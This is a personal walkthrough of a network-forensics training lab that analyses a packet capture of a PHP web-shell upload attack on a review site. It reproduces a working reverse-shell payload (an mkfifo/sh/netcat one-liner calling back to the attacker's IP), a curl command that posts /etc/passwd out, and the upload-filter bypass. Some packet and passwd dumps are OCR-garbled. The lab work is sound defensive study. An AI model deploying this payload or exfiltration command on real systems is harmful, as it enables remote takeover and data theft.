WebStrike

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Category: Network Forensics

Difficulty: Easy

Platform: CyberDefenders

Date Completed: 2025-04-24

Summary

This lab simulates a web-based attack involving the upload and execution of a PHP reverse shell on a web server. The attack scenario involves exploiting a file upload functionality, triggering a malicious script, and establishing a reverse shell back to the attacker to exfiltrate sensitive information. The analyst is tasked with identifying the attacker IP, method of compromise, the reverse shell behavior, exfiltrated data, and relevant MITRE techniques.

Timeline of Events

- 18:43:35 Attacker initiates first TCP connection (SYN) to the web server on port 80
- 18:43:46 Attacker sends GET request to /reviews/ to explore the website
- 18:43:55 Attacker uploads test PHP file (image.php) via POST to /reviews/upload.php
- 18:44:18 Attacker uploads malicious reverse shell (image.jpg.php) via POST
- 18:44:25 Attacker attempts GET on /admin/uploads and receives 404
- 18:44:43 Attacker discovers the valid upload path /reviews/uploads/
- 18:44:52 Attacker triggers reverse shell with GET to /reviews/uploads/image.jpg.php
- 18:44:52 Victim initiates reverse TCP shell to attacker on port 8080 (SYN)
- 18:46:39 Attacker uses shell to POST and exfiltrate /etc/passwd

Technical Walkthrough

- Tools Used: Wireshark, MaxMind GeoIP, CyberDefenders platform
- Artifacts Found:
 - [image[.]jpg[.]php] (malicious reverse shell)
 - Reverse shell behavior via TCP stream on port 8080
 - POST request to exfiltrate /etc/passwd

• IOCs:

- Attacker IP: 117[.]11[.]88[.]124
- Victim IP: 24[.]49[.]63[.]79
- Malicious path: /reviews/uploads/image[.]jpg[.]php

MITRE Mapping

- Initial Access: T1190 Exploit Public-Facing Application (file upload)
- Execution: T1059.004 Command and Scripting Interpreter: Unix Shell

Lessons Learned

- What surprised me?
- What would I do differently?
- · Which new tool or concept did I master?
- · Can I explain this attack without looking at notes?
- Could I spot this attack again in a real log set?
- Can I teach this to a junior analyst?
- Could I defend against this in a live system?

Thought process for each question

Q1: From which city did the attack

originate?

First I have to identify the attacker IP address — the "who." I can either look for the most data sent or look through the logs and see any weird stuff/anomalies. Since the level is easy, there are only two IPs: 117.11.88.124 (attacker) and 24.49.63.79 (web server). MaxMind GeoIP shows it's from **Tianjin**, **China**.

```
Enter up to 25 IP addresses separated by spaces or commas

117.11.88.124
```

View results

IP Address	Location	Network	Postal Code	Approximate Latitude / Longitude*, and Accuracy Radius	ISP / Organization	Domain 	Conr Type
117.11.88.124	Tianjin, Tianjin, China (CN), Asia	117.11.64.0/19	-	39.1424, 117.1727 (50 km)	China Unicom	online.tj.cn	Cab.

Q2: What is the attacker's full User-Agent?

This one should be easy — just get any GET request from the attacker's IP to the web server. The headers will have the User-Agent, which shows the fingerprint of that attacker.

Mozilla/5.0 (X11; Linux x86 64; rv:109.0) Gecko/20100101 Firefox/115.0

```
Hypertext Transfer Protocol

GET / HTTP/1.1r\n

* [Expert Info (chat/Sequence): GET / HTTP/1.1\r\n]

[GET / HTTP/1.1\r\n]

[Severity level: Chat]

[Group: Sequence]

Request Wethod: GET

Request URI: /

Request Version: HTTP/1.1

Host: shoporoma.com\r\n

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n

Accept: Language: en-US,en;q=0.5\r\n

Accept-Encoding: gzip, deflate\r\n
Connection: keep-alive\r\n
Connection: keep-alive\r\n
Ubgrade-Insecure-Requests: 1\r\n
\r\n

[Full request URI: http://shoporoma.com/]
[HTTP request 1/4]
[Response in frame: 6]
[Next request in frame: 8]
```

Q3: What is the name of the malicious web shell that was successfully uploaded?

So for this I have two routes: either looking at HTTP objects captured or filtering:

```
(http.request.method == "POST" and ip.src == 117.11.88.124)
```

The attacker:

- At frame 53: uploaded <code>image.php</code> to <code>/reviews/upload.php</code> with <code>application/x-php</code>. However, this was likely blocked due to **server-side validation** — possibly checking for valid image file extensions.

```
POST /reviews/upload.php HTTP/1.1
Host: shoporoma.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=------240702681933131672661702936221
Content-Length: 688
Origin: http://shoporoma.com
Connection: keep-alive
Referer: http://shoporoma.com/reviews/
Upgrade-Insecure-Requests: 1
   -----240702681933131672661702936221
Content-Disposition: form-data; name="name"
       -----240702681933131672661702936221
Content-Disposition: form-data; name="email"
asd@asd.com
-----240702681933131672661702936221
Content-Disposition: form-data; name="review"
Content-Disposition: form-data; name="uploadedFile" filename="image.php"
Content-Type: application/x-php
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 117.11.88.124 8080 >/tmp/f"); ?>
         ------240702681933131672661702936221--
HTTP/1.1 200 0K
Date: Thu, 30 Nov 2023 18:43:57 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 20
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Invalid file format.
```

- At frame 63: attacker uploaded <code>image.jpg.php</code> instead. This is a classic **file upload evasion technique** — the server likely only checks if the filename contains <code>.jpg</code> and assumes it's a valid image.

```
POST /reviews/upload.php HTTP/1.1
Host: shoporoma.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=------26176590812480906864292095114
Content-Length: 687
Origin: http://shoporoma.com
Connection: keep-alive
Referer: http://shoporoma.com/reviews/
Upgrade-Insecure-Requests: 1
-----26176590812480906864292095114
Content-Disposition: form-data; name="name"
       -----26176590812480906864292095114
Content-Disposition: form-data; name="email"
asd@asd.com
  -----26176590812480906864292095114
Content-Disposition: form-data; name="review"
  -----26176590812480906864292095114
Content-Disposition: form-data; name="uploadedFile"; filename="image.jpq.php"
Content-Type: application/x-php
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 117.11.88.124 8080 >/tmp/f"); ?>
------26176590812480906864292095114--
HTTP/1.1 200 0K
Date: Thu, 30 Nov 2023 18:44:19 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 26
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
File uploaded successfully
```

```
290 HTTP/1.1 200 OK (text/html)
30<mark>2 POST /reviews/upload about</mark>
                      55 2023-11-30 18:43:55.219105 24.49.63.79
63 2023-11-30 18:44:18.053722 117.11.88.124
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75 2023-11-30 18:44:25.833653 117.11.88.124
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85 2023-11-30 18:44:31.354415 117.11.88.124
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95 2023-11-30 18:44:38.0510820 117.11.88.124
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105 2023-11-30 18:44:34.349765 117.11.88.124
105 2023-11-30 18:44:43.497076 24.49.63.79
107 2023-11-30 18:44:43.502589 117.11.88.124
108 2023-11-30 18:44:43.502589 117.11.88.124
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114 2023-11-30 18:44:43.525655 24.49.63.79
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296 HTTP/1.1 200 OK (text/html)
416 GET /admin/uploads HTTP/1.1
558 HTTP/1.1 404 Not Found (text/html)
410 GET /uploads HTTP/1.1
558 HTTP/1.1 404 Not Found (text/html)
410 GET /admin/HTTP/1.1
558 HTTP/1.1 404 Not Found (text/html)
419 GET /reviews/uploads HTTP/1.1
664 HTTP/1.1 301 Moved Permanently (text/html)
419 GET /reviews/uploads HTTP/1.1
664 HTTP/1.1 301 Moved Permanently (text/html)
419 GET /reviews/uploads/ HTTP/1.1
419 HTTP/1.1 200 OK (GEF89a)
375 GET /icons/blank.gif HTTP/1.1
566 HTTP/1.1 200 OK (GIF89a)
480 GET /reviews/uploads/ HTTP/1.1
670 GET /reviews/uploads/ HTTP/1.1
671 GET /reviews/uploads/ HTTP/1.1
672 GET /reviews/uploads/ HTTP/1.1
673 GET /reviews/uploads/ HTTP/1.1
674 GET /reviews/uploads/ HTTP/1.1
675 GET /icons/blank.gif HTTP/1.1
677 GET /ricons/blank.gif HTTP/1.1
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                                  [Full request URI: http://shoporoma.com/reviews/upload.php]
[HTTP request 1/1]
[Length: 11]
                          -----26176590812480906864292095114\r\n
```

117.11.88.124

This tricked the upload filter, and the server accepted the file.

image.jpg.php is the file later used in the GET request that triggered the reverse shell.

Bonus: Reverse Shell Analysis

55 2023-11-30 18:43:55.219105 24.49.63.79

This is the exact reverse shell payload embedded in the malicious PHP file:

```
ubuntu@ip-172-31-21-25:~/Desktop$ cat upload.php
                    -----26176590812480906864292095114
Content-Disposition: form-data; name="name"
asd
              ------26176590812480906864292095114
Content-Disposition: form-data; name="email
asd@asd.com
          ------26176590812480906864292095114
Content-Disposition: form-data; name="review'
asd
                    -----26176590812480906864292095114
Content-Disposition: form-data; name="uploadedFile"; filename="image.jpg.php"
Content-Type: application/x-php
?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 117.11.88.124 8080 >/tmp/f");
                    ------26176590812480906864292095114--
ibuntu@ip-172-31-21-25:~/Desktop$
```

```
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc
117.11.88.124 8080 >/tmp/f"); ?>
```

How it works:

- rm /tmp/f; mkfifo /tmp/f clears and creates a named pipe (/tmp/f)
- cat /tmp/f | /bin/sh -i 2>&1 reads attacker's input from the pipe and sends it into an interactive shell
- nc 117.11.88.124 8080 > /tmp/f) sends output to attacker via Netcat, while receiving more commands back through the pipe

This sets up a full-duplex communication channel, giving the attacker an interactive shell session (reverse shell). The connection is established **outbound** from victim → attacker, allowing it to bypass common firewall rules that block incoming shells (e.g., bind shells).

• General TCP Stream Filter Tip: To trace the full attack in Wireshark, especially the reverse shell, use:

```
(ip.src == 117.11.88.124 and ip.dst == 24.49.63.79 and http.request) or (ip.src == 24.49.63.79 and ip.dst == 117.11.88.124 and http.response)
```

This lets you track the full HTTP dialogue between attacker and victim.

Q4: Which directory is used by the website to store the uploaded files?

As we said before, /reviews/uploads is used:

```
138 2023-11-30 18:44:52.446126 GET /reviews/uploads/image.jpg.php
```

Then the next packet (140) confirms a reverse shell was initiated:

```
24.49.63.79 \rightarrow 117.11.88.124 \text{ TCP } 54448 \rightarrow 8080
```

Q5: Which port, opened on the attacker's machine, was targeted by the malicious web shell for establishing unauthorized outbound communication?

Port 8080 — confirmed from the PHP payload and TCP session after execution.

Q6: Which file was the attacker attempting to exfiltrate?

Following the reverse shell established through nc, a new TCP stream started, containing the attacker's command sequence. This stream provides visibility into their post-exploitation activities, including the attempted file exfiltration.

```
139 2023-11-30 18:44:52,4495247 24.49.63.79 117.11.88.124 TCP 74 54448 - 8080 [SYN] Seq=0 Win-64226 Len-6 TSval=3033575204 TScr=643997028 TScr=643997028 TScr=64391789 117.11.88.124 TCP 74 54448 - 8080 [SYN] Seq=1 Ack=1 Win-64256 Len-6 TSval=3033575204 TScr=643997028 TScr=6439
```

```
/bin/sh: 0: can't access tty; job control turned off
           ww-data
          $ uname -a
Linux ubuntu-virtual-machine 6.2.0-37-generic #38~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Nov 2 18:01:13 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
          $ pwd
/var/www/html/reviews/uploads
$ ls /home
           $ cat /etc/passwd
$ cat /etc/passw0
root:x:0e:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:5534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/spool/tpd:/usr/sbin/nologin
man:x:6:12:man:/var/spool/tpd:/usr/sbin/nologin
mus:x:1:p:/var/spool/tpd:/usr/sbin/nologin
mus:x:1:p:/var/spool/tpd:/usr/sbin/nologin
mus:x:1:p:/var/spool/tpd:/usr/sbin/nologin
mus:x:1:p:/var/spool/uspd:/usr/sbin/nologin
mus:x:1:1:1:provy-/bin:yar/spool/uspd:/usr/sbin/nologin
provy:x:1:1:3:provy-/bin:yar/sbin/nologin
mus:x:1:3:1:3:mwi-data:/var/mwi-/usr/sbin/nologin
provy:x:1:1:3:provy-/bin:yar/sbin/nologin
mis:x:3:3:3:mwi-data:/var/mwi-/usr/sbin/nologin
isr:x:3:3:3:mwi-data:/var/mwi-/usr/sbin/nologin
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isr:x:3:3:3:mwi-data:/var/mwi-/usr/sbin/nologin
isr:x:3:3:3:mwi-/usr/sbin/nologin
isr:x:3:3:3:mwi-/usr/sbin/nol
          root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
                                  368 100 357 100 11 56774 17[393 bytes missing in capture file].$
```

cat /etc/passwd

And then sent it using:

curl -X POST -d /etc/passwd http://117.11.88.124:443/

So the attacker was attempting to exfiltrate: /etc/passwd